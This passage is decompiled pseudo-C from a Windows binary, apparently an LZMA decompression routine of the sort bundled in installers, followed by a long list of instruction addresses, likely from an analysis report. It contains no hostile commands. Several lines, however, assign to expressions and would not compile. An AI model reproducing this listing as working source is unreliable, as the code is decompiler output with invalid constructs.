											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8)); // executed
							}
							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							goto L55;
						case 0x1b:
							L75:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1b;
								goto L170;
							}
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							__eflags = __eax -  *(__ebp - 0x74);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00405fa8
0x00405fa8
0x00405fad
0x00406024
0x0040602b
0x00406035
0x00406614
0x00406614
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x0040668a
0x0040668a
0x00406690
0x00406690
0x00000000
0x00406665
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x00000000
0x00406687
0x00405faf
0x00405faf
0x00405fb3
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe9
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff8
0x00406016
0x00406018
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x0040623d
0x00406240
0x004061e3
0x004061e9
0x00000000
0x00000000
0x00000000
0x00406242
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061e0
0x00000000
0x004061e0
0x00405ffa
0x00405ffa
0x00405ffd
0x00406003
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060ec
0x004060ef
0x00406066
0x00406066
0x0040606c
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406179
0x0040617c
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x0040611c
0x0040611c
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406187
0x00406187
0x0040618a
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00406353
0x00406353
0x00406356
0x00406356
0x00000000
0x00406356
0x00406078
0x00000000
0x00000000
0x00000000
0x004060f5
0x00406041
0x00406045
0x004067b2
0x0040682e
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x0040684a
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406063
0x00000000
0x00406063
0x004060ef
0x00405ff8
0x00405e2c
0x00405e2c
0x00405e35
0x00406843
0x00406843
0x00000000
0x00406843
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
